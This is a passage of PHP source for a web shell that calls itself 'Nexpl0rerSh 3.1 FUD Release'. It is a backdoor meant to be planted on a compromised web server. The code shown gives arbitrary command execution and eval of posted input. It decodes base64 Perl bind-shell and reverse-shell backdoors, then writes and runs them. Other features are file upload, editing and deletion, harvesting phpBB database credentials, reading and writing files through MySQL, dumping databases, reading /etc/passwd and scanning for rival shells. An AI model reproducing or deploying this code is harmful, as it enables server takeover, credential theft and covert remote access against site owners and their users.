  378. <td style="border-bottom:#FFFFFF 1px solid;"><a class="link" href="javascript:document.folder.dir.value=\''.addslashes(realpath($file)).'\';document.folder.submit();">Go</a></td>
  379. </tr>';
  380.  
  381. }
  382. }
  383. else
  384. {
  385. chdir($dir);
  386. if (is_file($file)){
  387. $ext = array_pop(explode(".",$file));
  388. if (array_key_exists($ext, $icons)) $icon = $icons[$ext];
  389. else $icon = "small_unk";
  390.  
  391. if (function_exists("posix_getpwuid")) {
  392. $uid = posix_getpwuid(fileowner($file));
  393. $gr00p = posix_getgrgid(filegroup($file));
  394. $owner = $uid[name]."/".$gr00p[name]; }
  395. else
  396. {
  397. $owner = fileowner($file)."/".filegroup($file);
  398. }
  399. $perms = fileperms($file);
  400. $info = getperms($perms);
  401. if (!is_readable($file)) $info = "<font color=red>{$info}</font>";
  402. elseif (!is_writable($file)) $info = "<font color=white>{$info}</font>";
  403. else $info = "<font color=green>{$info}</font>";
  404. $output.= ' <tr style="background-color:'.$color.';">
  405. <td style="border-bottom:#FFFFFF 1px solid;">'.$info.'</td>
  406. <td style="border-bottom:#FFFFFF 1px solid;" align="right"><img src="http://'.getenv("HTTP_HOST").$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img='.$icon.'" /></td>
  407. <td style="border-bottom:#FFFFFF 1px solid;">'.$file.'</td>
  408. <td style="border-bottom:#FFFFFF 1px solid;">'.$owner.'</td>
  409. <td style="border-bottom:#FFFFFF 1px solid;"><a class="link" href="javascript:document.fedit.modfile.value=\''.$file.'\';document.fedit.submit();"><img src="'.$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img=change" border=0 /></a> - <a class="link" href="javascript:document.delfile.delfile.value=\''.$file.'\';document.delfile.submit();"><img src="'.$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img=delete" border=0 /></a></td>
  410. </tr>';
  411. }
  412. else
  413. {
  414. if (function_exists("posix_getpwuid")) {
  415. $uid = posix_getpwuid(fileowner($file));
  416. $gr00p = posix_getgrgid(filegroup($file));
  417. $owner = $uid[name]."/".$gr00p[name]; }
  418. else
  419. {
  420. $owner = fileowner($file)."/".filegroup($file);
  421. }
  422. $perms = fileperms($file);
  423. $info = getperms($perms);
  424. if (!is_readable($file)) $info = "<font color=red>{$info}</font>";
  425. elseif (!is_writable($file)) $info = "<font color=white>{$info}</font>";
  426. else $info = "<font color=green>{$info}</font>";
  427. $output.= ' <tr style="background-color:'.$color.';">
  428. <td style="border-bottom:#FFFFFF 1px solid;">'.$info.'</td>
  429. <td style="border-bottom:#FFFFFF 1px solid;" align="right"><img src="http://'.getenv("HTTP_HOST").$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img=folder" /></td>
  430. <td style="border-bottom:#FFFFFF 1px solid;"><a class="link" href="javascript:document.folder.dir.value=\''.addslashes(realpath($file)).'\';document.folder.submit();">'.$file.'</a></td>
  431. <td style="border-bottom:#FFFFFF 1px solid;">'.$owner.'</td>
  432. <td style="border-bottom:#FFFFFF 1px solid;"><a class="link" href="javascript:document.folder.dir.value=\''.addslashes(realpath($file)).'\';document.folder.submit();">Go</a></td>
  433. </tr>';
  434.  
  435. }
  436. }
  437. $i++;
  438. }
  439. $output .= "</div>";
  440. }
  441. //Editing file...
  442. if ($_POST['mode']=="edit") {
  443. ($dir==realpath(".")) ? $file=$_POST['modfile'] : $file=$dir.$_POST['modfile'];
  444. $content = file_get_contents($file);
  445. if ($_POST[modfile]=="config.php") {
  446. include($file);
  447. $link = "javascript:var form=document.sqlpanel; form.user.value='".addslashes($dbuser).
  448. "';form.pass.value='".addslashes($dbpasswd)."';form.host.value='".addslashes($dbhost).
  449. "';form.dbname.value='".addslashes($dbname)."';document.sqlpanel.submit();";
  450. $output .= "phpBB config file detected! click <a class=\"link\" href=\"$link\">here</a> to connect<br />";
  451. }
  452. $output .= "<form action=# method=post><input type=hidden name=mode value=doedit><input type=hidden name=modfile value='".$_POST['modfile']."'>
  453. <textarea rows=30 cols=100 name=newtext>".htmlspecialchars($content)."</textarea><br /><input type=submit value=edit></form>";
  454. }
  455. if ($_POST['mode']=="doedit") {
  456. ($dir==realpath(".")) ? $file=$_POST['modfile'] : $file=$dir.$_POST['modfile'];
  457. $output .= $file."<br />";
  458. $fh = fopen($file, "w+")or die("<font color=red>Error: cannot open file</font>");
  459. $_POST['newtext'] = (ini_get("magic_quotes_gpc")) ? stripslashes($_POST['newtext']) : $_POST['newtext'];
  460. fwrite($fh, $_POST['newtext'])or die("<font color=red>Error: cannot write to file</font>");
  461. fclose($fh);
  462. $output .= "Done.";
  463. }
  464. //Making file..
  465. if ($_POST['mode'] == "mkfile") {
  466. ($dir==realpath(".")) ? $file=$_POST['mkfile'] : $file=$dir.$_POST['mkfile'];
  467. $output .= "<form action=# method=post><input type=hidden name=mode value=domkfile><input type=hidden name=mkfile value='".$_POST['mkfile']."'>
  468. <textarea rows=30 cols=100 name=text></textarea><br /><input type=submit value=make></form>";
  469. }
  470. if ($_POST['mode'] == "domkfile") {
  471. ($dir==realpath(".")) ? $file=$_POST['mkfile'] : $file=$dir.$_POST['mkfile'];
  472. $fh = fopen($file, "w+")or die("<font color=red>Error: cannot create file</font>");
  473. $_POST['text'] = (ini_get("magic_quotes_gpc")) ? stripslashes($_POST['text']) : $_POST['text'];
  474. fwrite($fh, $_POST['text'])or die("<font color=red>Error: cannot write to file</font>");
  475. fclose($fh);
  476. $output .= "Made.";
  477. }
  478. //Deleting file..
  479. if ($_POST['mode'] == "delfile") {
  480. ($dir==realpath(".")) ? $file=$_POST['delfile'] : $file=$dir.$_POST['delfile'];
  481. unlink($file)or die("<font color=red>Error: cannot delete file</font>");
  482. $output .= "File deleted.";
  483. }
  484. // cmd...
  485. if ($_POST['mode'] == "cmd") {
  486. /*switch ($_POST['func']) {
  487. case "system":
  488. system(stripslashes($_POST['cmd']));
  489. die();
  490. break;
  491. case "popen":
  492. $handle = popen($_POST['cmd'].' 2>&1', 'r');
  493. echo "'$handle'; " . gettype($handle) . "\n";
  494. $read = fread($handle, 2096);
  495. echo $read;
  496. pclose($handle);
  497. die();
  498. break;
  499. case "shell_exec":
  500. shell_exec(stripslashes($_POST['cmd']));
  501. die();
  502.  
  503. break;
  504. case "exec":
  505. exec(stripslashes($_POST['cmd']));
  506. die();
  507. break;
  508. case "passthru":
  509. passthru(stripslashes($_POST['cmd']));
  510. die();
  511. break;}*/
  512. chdir($dir);
  513. $res = exa(stripslashes($_POST[cmd]));
  514. $output = $res;
  515.  
  516. }
  517. // upload
  518. if ($_POST['mode'] == "upload2") {
  519. $percorso = $_FILES['myfile']['tmp_name'];
  520. $nome = $_FILES['myfile']['name'];
  521. if (!move_uploaded_file($percorso, $dir.$nome))
  522. {
  523. $output = "<font color=red>Cannot upload</font>";
  524. }
  525. else { $output .= "<br><br>$nome Has Been Saved!";}
  526. }
  527. // rename
  528. if ($_POST['mode'] == "renfile") {
  529. if(!rename($dir.$_POST['oldname'], $dir.$_POST['newname'])) $output = "<font color=red>Cannot rename file</font>";
  530. else $output = "File renamed.";
  531. }
  532. // Bind port
  533. if ($_POST['mode'] == "bind") {
  534. chdir($dir);
  535. $os = substr(strtoupper(PHP_OS),0,3);
  536. $port = 31337;
  537. $txt = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0OyANCnVzZSBGaWxlSGFuZGxlOyAjIHBlciBsJ2F1dG9mbHVzaA0KJG1heF9jb25uPTEwOw0KJHBvcnRhX2xvY2FsZT0kQVJHVlswXTsNCiRzeXMgPSAkQVJHVlsxXTsNCmlmICgkc3lzIGVxICJMSU4iKSB7ICRjbWQgPSAiL2Jpbi9iYXNoIjsgfQ0KaWYgKCRzeXMgZXEgIldJTiIpIHsgJGNtZCA9ICJDOlxcd2luZG93c1xcc3lzdGVtMzJcXGNtZC5leGUiOyB9DQokcGFkZHJfbG9jYWxlPXBhY2tfc29ja2FkZHJfaW4oJHBvcnRhX2xvY2FsZSxJTkFERFJfQU5ZKTsNCnNvY2tldChTRVJWLEFGX0lORVQsU09DS19TVFJFQU0sJ3RjcCcpIHx8IGRpZSgiRXJyb3JlOiAkISIpOyAgI3NlcnZlci1zb2NrZXQNCnNldHNvY2tvcHQoU0VSVixTT0xfU09DS0VULFNPX1JFVVNFQUREUiwxKSB8fCBkaWUoIkVycm9yZTogJCEiKTsNCmJpbmQoU0VSViwkcGFkZHJfbG9jYWxlKSB8fCBkaWUoIkVycm9yZTogJCEiKTsNCmxpc3RlbihTRVJWLCRtYXhfY29ubikgfHwgZGllKCJFcnJvcmU6ICQhIik7DQpteSAkcGFkZHJfc2luZz1hY2NlcHQoU0lORywgU0VSVik7ICNhY2NldHRvIGxhIGNvbm5lc3Npb25lIGRhbCBjbGllbnQNCm15KCRzaW5nX3BvcnRhLCRzaW5nX2FkZHIsJGdldCk9dW5wYWNrX3NvY2thZGRyX2luKCRwYWRkcl9zaW5nKTsNClNJTkctPmF1dG9mbHVzaCgpOw0Kb3BlbihTVERJTiwgIj4mU0lORyIpOw0Kb3BlbihTVERPVVQsIj4mU0lORyIpOw0Kb3BlbihTVERFUlIsIj4mU0lORyIpOw0KcHJpbnQgIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIjsNCnByaW50ICIgCS09IEJpbmQgU2hlbGwgQmFja2Rvb3IgPS0JXG4iOw0KcHJpbnQgIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIjsNCnByaW50ICIgRGV0ZWN0ZWQgc2hlbGw6ICRjbWQJCVxuIjsNCnByaW50ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cblxuIjsNCmV4ZWMoJGNtZCk7DQpjbG9zZShTSU5HKTs=");
  538. fwrite(fopen("bind.pl", "w+"), $txt);
  539. exa("perl bind.pl ".$port." ".$os);
  540. unlink("bind.pl");
  541. }
  542. // Reverse c0nn
  543. if ($_POST['mode'] == "reverse") {
  544. chdir($dir);
  545. $os = substr(strtoupper(PHP_OS),0,3);
  546. $txt = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gJEFSR1ZbMV07DQokc3lzID0gJEFSR1ZbMl07DQoNCiAgICBpZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiWyFdIFVzZTogcmV2ZXJzZS5wbCA8WW91ckhvc3Q+IDxZb3VyUG9ydD4gPHN5c3RlbT5cbiI7DQogIHByaW50ZiAiWypdIE5vdGU6IHN5c3RlbSBjYW4gYmUgTElOIG9yIFdJTiI7DQogIGV4aXQoMSk7DQp9DQppZiAoJHN5cyBlcSAiTElOIikgeyAkY21kID0gIi9iaW4vYmFzaCI7IH0NCmlmICgkc3lzIGVxICJXSU4iKSB7ICRjbWQgPSAiQzpcXFdpbmRvd3NcXHN5c3RlbTMyXFxjbWQuZXhlIjsgfQ0KcHJpbnQgIlsrXSBDb25uZWN0aW5nLi4uIFskaG9zdF1cbiI7DQokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyB1IGNhbiBjaGFuZ2UgdGhpcw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90KSB8fCBkaWUgKCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGllKCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30NCiAgb3BlbihTVERJTiwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERPVVQsIj4mU0VSVkVSIik7DQogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOw0KcHJpbnQgIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIjsNCnByaW50ICIgCS09IFJldmVyc2UgU2hlbGwgQmFja2Rvb3IgPS0JXG4iOw0KcHJpbnQgIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIjsNCnByaW50ICIgRGV0ZWN0ZWQgc2hlbGw6ICRjbWQJCVxuIjsNCnByaW50ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cblxuIjsNCmV4ZWMgKCRjbWQpOyA=");
  547.  
  548. fwrite(fopen("reverse.pl", "w+"), $txt);
  549. exa("perl reverse.pl ".$_POST[ip]." ".$_POST[port]." ".$os);
  550. unlink("reverse.pl");
  551. }
  552. // MySQL EXPLOIT read file
  553. if ($_POST['mode'] == "sqlexploit") {
  554. $link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass'])or die(mysql_error());
  555. $db = mysql_select_db($_COOKIE['mysql_name']);
  556. $path = $_POST['path'];
  557. $query = "CREATE TABLE `nexpl0it` (`path` longtext not null);";
  558. $delete = "DROP TABLE `nexpl0it`;";
  559. $bypass = "LOAD DATA LOCAL INFILE '$path' INTO TABLE nexpl0it;";
  560. $fuck = "SELECT * FROM nexpl0it;";
  561.  
  562.  
  563. mysql_query($delete);
  564. mysql_query($query);
  565. mysql_query($bypass)or die("Mysql-exploit-error : ".mysql_error());
  566. $res = mysql_query($fuck)or die(mysql_error());
  567. $txt = "";
  568. while($row = mysql_fetch_array($res)) {
  569. $txt .= $row[path]."\n";
  570. }
  571. $output = "<form action=# method=POST><input type=hidden name=mode value=sqlwritefile>File : <b><input type=text name=path value='$path'>
  572. <input type=submit value=Save> </b><br /><br />
  573. <textarea rows=30 cols=100 name=newtext>".htmlspecialchars($txt)."</textarea></form>";
  574. }
  575. // MySQL EXPLOIT write
  576. if ($_POST['mode'] == "sqlwritefile") {
  577. $link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass'])or die(mysql_error());
  578. $db = mysql_select_db($_COOKIE['mysql_name']);
  579. $path = $_POST['path'];
  580. $content = $_POST['newtext'];
  581. $txt = bin2hex($content);
  582. $query = "SELECT 0x{$txt} INTO DUMPFILE '$path';";
  583. $res = mysql_query($query)or die(mysql_error());
  584. $output = $path." saved!";
  585. }
  586.  
  587. // MySQL Login
  588. if ($_POST['mode'] == "loginsql") {
  589. setcookie("mysql_user", $_POST['user']);
  590. setcookie("mysql_pass",$_POST['pass']);
  591. setcookie("mysql_host",$_POST['host']);
  592. setcookie("mysql_name",$_POST['dbname']);
  593. $link = mysql_connect($_POST['host'], $_POST['user'], $_POST['pass'])or die(mysql_error());
  594. $db = mysql_select_db($_POST['dbname']);
  595. $output = '<table width="100%" border=0><tr><td><form id="table" name="table" method="post" action="#"><input type=hidden name=mode value=sql_query />
  596.  
  597. <input name="query" type="text" id="query" size="50" value="SELECT * FROM table_name" />
  598. <input type="submit" name="Submit" value="Query" />
  599. </form><form action=# method=post><input type=hidden name=mode value=dump_db><input name=dbname type=text value="'.$_POST[dbname].'" size="30">
  600. <input type=submit value=DumpDb></form></td><td align=left>
  601. <b>:: MySQL Exploit ::</b><br />
  602. <form action=# method=post><input type=hidden name=mode value=sqlexploit>Edit file: <input name=path type=text value="absolute path">
  603. <input type=submit value="Read/Edit"></form>
  604.  
  605. </td></tr></table>
  606.  
  607. <table width="100%" border="1" cellspacing="0" cellpadding="0">
  608. <tr>
  609. <td width=30%>
  610. <table width="100%" border="1" cellspacing="0" cellpadding="0">
  611.  
  612. </tr>
  613. <tr>
  614. <td><center>--[ Table List ]--</center> </td>
  615. </tr>';
  616. $q = mysql_query("SHOW TABLES")or die(mysql_error());
  617. while ($table = mysql_fetch_array($q)) {
  618. $output .= '<tr>
  619. <td><center><a class="link" href="javascript:document.table.query.value=\'SELECT * FROM '.$table[0].'\';document.table.submit();">'.$table[0].'</a></center></td>
  620. </tr>';
  621.  
  622. }
  623.  
  624.  
  625. $output .= '
  626. </table></td>
  627. <td width="70%">
  628. </td>
  629. </tr>
  630. </table>
  631. ';
  632. }
  633. // MySQL Query
  634. if ($_POST['mode'] == "sql_query") {
  635. $link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass'])or die(mysql_error());
  636. $db = mysql_select_db($_COOKIE['mysql_name']);
  637. (isset($_POST['dbname'])) ? mysql_select_db($_POST['dbname']) : print "";
  638. $query = mysql_query(urldecode(stripslashes($_POST['query'])))or die("Error query: <b>{".stripslashes($_POST[query])."}</b> mysql says:".mysql_error());
  639. $pars = array_keys(mysql_fetch_array($query));
  640. $npars = count($pars);
  641. $qwords = explode(" ", $_POST['query']);
  642. global $select, $table_name;
  643. if (strtolower($qwords[0]) == "select") {
  644. $select = TRUE;
  645. $nqw = count($qwords);
  646. for($i=0;$i<$nqw;$i++) {
  647. if (strtolower($qwords[$i]) == "from") {
  648. $table_name = $qwords[$i+1];
  649. break;
  650. }
  651. }
  652. }
  653. $parz = $pars;
  654. $p4rz = $parz;
  655. $output .= '<form id="table" name="table" method="post" action="#"><input type=hidden name=mode value=sql_query />
  656.  
  657. <input name="query" type="text" id="query" size="50" value="SELECT * FROM table_name" />
  658. <input type="submit" name="Submit" value="Query" />
  659. </form><form action=# method=post><input type=hidden name=mode value=dump_db><input name=dbname type=text value="'.$_COOKIE[mysql_name].'" size="30">
  660. <input type=submit value=DumpDb></form><form name="update" method=post action=#><input type=hidden name=mode value=update><input type=hidden name=conditions><input type=hidden name=table></form>
  661.  
  662. <table width="100%" border="1" cellspacing="0" cellpadding="0">
  663. <tr>
  664. <td width=30% valign=top>
  665. <table width="100%" border="1" cellspacing="0" cellpadding="0">
  666.  
  667. </tr>
  668. <tr>
  669. <td><center>--[ Table List ]--</center> </td>
  670. </tr>';
  671. $q = mysql_query("SHOW TABLES")or die(mysql_error());
  672. while ($table = mysql_fetch_array($q)) {
  673. $output .= '<tr>
  674. <td><center><a class="link" href="javascript:document.table.query.value=\'SELECT * FROM '.$table[0].'\';document.table.submit();">'.$table[0].'</a></center></td>
  675. </tr>';
  676.  
  677. }
  678.  
  679.  
  680. $output .= '
  681. </table></td>
  682.  
  683. <td width="70%" valign="top">
  684. <table width="100%" border="1" cellspacing="0" cellpadding="0">
  685. <tr>
  686. <td><center>--[ Query Result ]--</center> </td>
  687. </tr>
  688. <tr><td><table cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="1%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr>
  689. ';
  690. $output .= '<td>&nbsp;</td>
  691. ';
  692. foreach($pars as $par) {
  693. $output .= (is_numeric($par) || ($par == "")) ? '' : '<td>'.$par.'</td>
  694. '; }
  695.  
  696. $output .= '</tr>';
  697. mysql_data_seek($query, 0);
  698. while ($row = mysql_fetch_array($query, MYSQL_ASSOC))
  699. {
  700.  
  701. $w = "";
  702. $i = 0;
  703.  
  704. foreach ($row as $k=>$v) {$name = mysql_field_name($query,$i); $w .= " `".$name."` = \'".addslashes($v)."\' AND"; $i++;}
  705. if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  706. if ($table_name == "mybb_users") $w = " uid=\'".$row['uid']."\' ";
  707. if ($table_name == "phpbb_users") $w = " user_id=\'".$row['user_id']."\' ";
  708. $output .= '<tr>';
  709. $output .= '<td><a class="link" href="javascript:document.update.conditions.value=\''.urlencode($w).'\';document.update.table.value=\''.$table_name.'\';document.update.submit();"><img src="'.$_SERVER['PHP_SELF'].'?act=img&img=change" border=0 /></a><a class="link" href="javascript:document.table.query.value=\''.urlencode("DELETE FROM `".$table_name."` WHERE".$w."LIMIT 1").'\';document.table.submit();"><img src="'.$_SERVER['PHP_SELF'].'?act=img&img=delete" border=0 /></a></td>
  710. ';
  711. foreach ($row as $pardd=>$rowval) {
  712.  
  713.  
  714. if (!is_numeric($pardd) && !empty($pardd)) {
  715. if ($row[$pardd] == "") { $output .= '<td><font color=green><b>NULL</b></font></td>'; } else { $output .= '<td>'.$row[$pardd].'</td>';}}
  716.  
  717. }
  718. $output .= '</tr>';
  719. }
  720. $output .= '
  721. </table></td>
  722. </tr>
  723. </table><hr size="1" noshade><br>';
  724.  
  725. }
  726. // MySQL Update row
  727. if ($_POST['mode'] == "update") {
  728. $link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass'])or die(mysql_error());
  729. $db = mysql_select_db($_COOKIE['mysql_name']);
  730. $conditions = urldecode(stripslashes($_POST['conditions']));
  731. $table = $_POST['table'];
  732. $select = mysql_query("SELECT * FROM {$table} WHERE{$conditions}LIMIT 1")or die(mysql_error());
  733. $output .= '
  734. <form id="table" name="table" method="post" action="#"><input type=hidden name=mode value=sql_query />
  735.  
  736. <input name="query" type="text" id="query" size="50" value="SELECT * FROM table_name" />
  737. <input type="submit" name="Submit" value="Query" />
  738. </form><form action=# method=post><input type=hidden name=mode value=dump_db><input name=dbname type=text value="'.$_COOKIE[mysql_name].'" size="30">
  739. <input type=submit value=DumpDb></form><form name="update" method=post action=#><input type=hidden name=mode value=update><input type=hidden name=conditions><input type=hidden name=table></form>
  740.  
  741. <table width="100%" border="1" cellspacing="0" cellpadding="0">
  742. <tr>
  743. <td width=30% valign=top>
  744. <table width="100%" border="1" cellspacing="0" cellpadding="0">
  745.  
  746. </tr>
  747. <tr>
  748. <td><center>--[ Table List ]--</center> </td>
  749. </tr>';
  750. $q = mysql_query("SHOW TABLES")or die(mysql_error());
  751. while ($table = mysql_fetch_array($q)) {
  752. $output .= '<tr>
  753. <td><center><a class="link" href="javascript:document.table.query.value=\'SELECT * FROM '.$table[0].'\';document.table.submit();">'.$table[0].'</a></center></td>
  754. </tr>';
  755.  
  756. }
  757.  
  758.  
  759. $output .= '
  760. </table></td>
  761.  
  762. <td width="70%" valign="top">
  763. <table width="100%" border="1" cellspacing="0" cellpadding="0">
  764. <tr>
  765. <td><center>--[ Query Result ]--</center> </td>
  766. </tr>
  767. <tr><td><form action=# method=post>
  768. <input type=hidden name=mode value=update2>
  769. <table cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="1%" bgColor=#000000 borderColorLight=#c0c0c0 border=1>
  770. ';
  771. while ($row = mysql_fetch_array($select, MYSQL_ASSOC)) {
  772. foreach ($row as $k=>$v) {
  773.  
  774. $output .= "<tr><td>{$k}</td><td><input type=text name='{$k}' value='{$v}'></td></tr>";
  775.  
  776. }
  777. }
  778. $output .='
  779. </table><input type=hidden name=table value="'.$_POST['table'].'"><input type=hidden name=conditions value="'.$_POST['conditions'].'"><input type=submit value=Update></form></td></tr></table></td>
  780. </tr>
  781. </table>
  782. ';
  783. }
  784.  
  785. // MySQL update row 2
  786. if ($_POST['mode'] == "update2") {
  787. $link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass'])or die(mysql_error());
  788. $db = mysql_select_db($_COOKIE['mysql_name']);
  789. $conditions = urldecode(stripslashes(stripslashes($_POST['conditions'])));
  790. $table = $_POST['table'];
  791. $select = mysql_query("SELECT * FROM {$table} WHERE{$conditions}LIMIT 1")or die("query : SELECT * FROM {$table} WHERE{$conditions}LIMIT 1<br /><br />".mysql_error());
  792. $uno = mysql_fetch_array($select, MYSQL_ASSOC);
  793. $pars = array_keys($uno);
  794. $query = "UPDATE {$table} SET";
  795. foreach($pars as $fields) {
  796. $query .= " {$fields}='{$_POST[$fields]}',";
  797. }
  798. $query = substr($query,0,strlen($query)-1);
  799. $query .= " WHERE{$conditions}";
  800. $output = "Executed query: {$query} <br /><br />";
  801. mysql_query($query)or die("QUERY: ".$query."<br /><br /> ERROR:".mysql_error());
  802. }
  803.  
  804. // MySQL Dump
  805. if ($_POST['mode'] == "dump_db") {
  806. $dump = "# Dumped by Nexpl0rerSh 3.1 FUD Release \n";
  807. $dump .= "# MySQL version: (".@mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").") \n";
  808. $dump .= "# Database: ".$_POST['dbname']."\n";
  809. $dump .= "# ".$_COOKIE['mysql_user'].":".$_COOKIE['mysql_pass']."@".$_COOKIE['mysql_host']."\n";
  810. $db = $_POST['dbname'];
  811. setcookie('mysql_name', $db);
  812. $link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass'])or die(mysql_error());
  813. (isset($_POST['dbname'])) ? mysql_select_db($_POST['dbname']) : print "";
  814. $q = mysql_query("SHOW TABLES")or die(mysql_error());
  815. while ($table = mysql_fetch_array($q)) {
  816. $dump .= datadump($table[0]);
  817. }
  818. $file_name = $db."_dump_".date("d_M_Y")."_Nexpl0rer.".sql;
  819. chdir($dir);
  820. $fp = fopen($file_name, "w+"); fwrite($fp, $dump); fclose($fp);
  821. $output .= 'Dump saved in '.$dir;
  822.  
  823. }
  824. // MkDir
  825. if ($_POST['mode'] == "mkdir") {
  826. chdir($dir)or die("Error.");
  827. if (mkdir($_POST['mkdir'])) {
  828. $output = "Directory created.";
  829. }
  830. }
  831. // Eval
  832. if ($_POST['mode'] == "eval") {
  833. chdir($dir);
  834. eval(stripslashes($_POST['eval']));
  835. die();
  836. }
  837. // phpinfo
  838. if ($_POST['mode']=="phpinfo") {
  839. phpinfo();
  840. die();
  841. }
  842. // tools
  843. if ($_POST['mode']=="tools") {
  844. switch($_POST['nometool']) {
  845. //passwd
  846. case 'passwd':
  847. if (!($txt = file_get_contents("/etc/passwd"))) {
  848. $output = "Cannot open /etc/passwd";
  849. } else {
  850. $output = nl2br($txt);
  851. }
  852. break;
  853.  
  854. //encoder
  855. case 'encoder':
  856. $output = "
  857. <center>
  858. <form action=# method=post><input type=hidden name=mode value=tools>
  859. <input type=hidden name=nometool value=encoder>
  860. <textarea name=\"plain\" cols=50 rows=5>".$_POST[plain]."</textarea>
  861. <br><br>
  862. <input type=submit value=\"calculate\"><br><br>
  863. </center>
  864. <b>Hashes</b>:<br>
  865. <center>md5 -
  866. <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".md5($_POST[plain])."\" readonly>
  867. <br>crypt - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".crypt($_POST[plain])."\" readonly>
  868. <br>sha1 - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".sha1($_POST[plain])."\" readonly><br>
  869. crc32 - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".crc32($_POST[plain])."\" readonly><br></center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($_POST[plain])."\" readonly>
  870.  
  871. <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urldecode($_POST[plain])."\" readonly>
  872. <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($_POST[plain])."\" readonly></center><center>base64_decode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_decode($_POST[plain])."\" readonly>&nbsp;</center>
  873. <br><b>Base convertations</b>:
  874. <center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".dechex($_POST[plain])."\" readonly><br>
  875. </center></form>
  876. ";
  877. break;
  878.  
  879. // scanner
  880. case 'scanner':
  881. $scandir = str_replace(realpath("."), "", $dir);
  882.  
  883. $scannersh = $dir;
  884. if ($scannersh == "") { $scannersh = "/"; }
  885. chdir($scannersh);
  886. $evil = array("dc3", "Antichat", "s101", "nefastica", "n3tShell", "Nexen", "33rd", "c99", "c2007", "c100", "r57", "shell", "k0tw", "nexpl0rer", "paradox", "Upload", "ZipShell", "Usucktoo", "shell_exec", "exec", "DxShell", "Cod3rz", "Fire-Crash", "subzero" );
  887.  
  888. $output .= "<br>Ho analizzato $scannersh<br>";
  889. $checked = array();
  890. foreach (glob("*.php*") as $file)
  891. {
  892. $a = fopen($file, "r+");
  893. $b = fread($a, filesize($file));
  894. for ($i = 0; $i < count($evil); $i++)
  895. {
  896. $me = array_reverse(explode("/",$_SERVER['PHP_SELF']));
  897. $str = eregi($evil[$i], $b);
  898. if (($str !== FALSE) and ($file != $me[0]) and (!in_array($file, $checked)))
  899. {
  900. array_push($checked, $file);
  901. $output .= "Trovato Possibile $evil[$i] in <a class='link' href='{$scandir}{$file}' target='_blank'>{$file}</a><br>";
  902. }
  903. }
  904. fclose($a);
  905. }
  906.  
  907.  
  908. break;
  909.  
  910. // proxy
  911. case 'proxy':
  912. $output = '<form method="post" action="#">url: <input name="url" type="text" size="50" />
  913. <input type="submit" value="surf" />
  914. <input name="curl" type="checkbox" id="curl" value="curl" />
  915. use curl <input name="fopen" type="checkbox" id="fopen" value="fopen" /> use fopen<br /> <input type="hidden" name="mode" value="proxysurf" />
  916. </form><br /><br />';
  917.  
  918. break;
  919. }
  920. }
  921. // proxysurf
  922. if ($_POST['mode'] == 'proxysurf') {
  923.  
  924. $output = '<form method="post" action="#">url: <input name="url" type="text" size="50" />
  925. <input type="submit" value="surf" />
  926. <input name="curl" type="checkbox" id="curl" value="curl" />
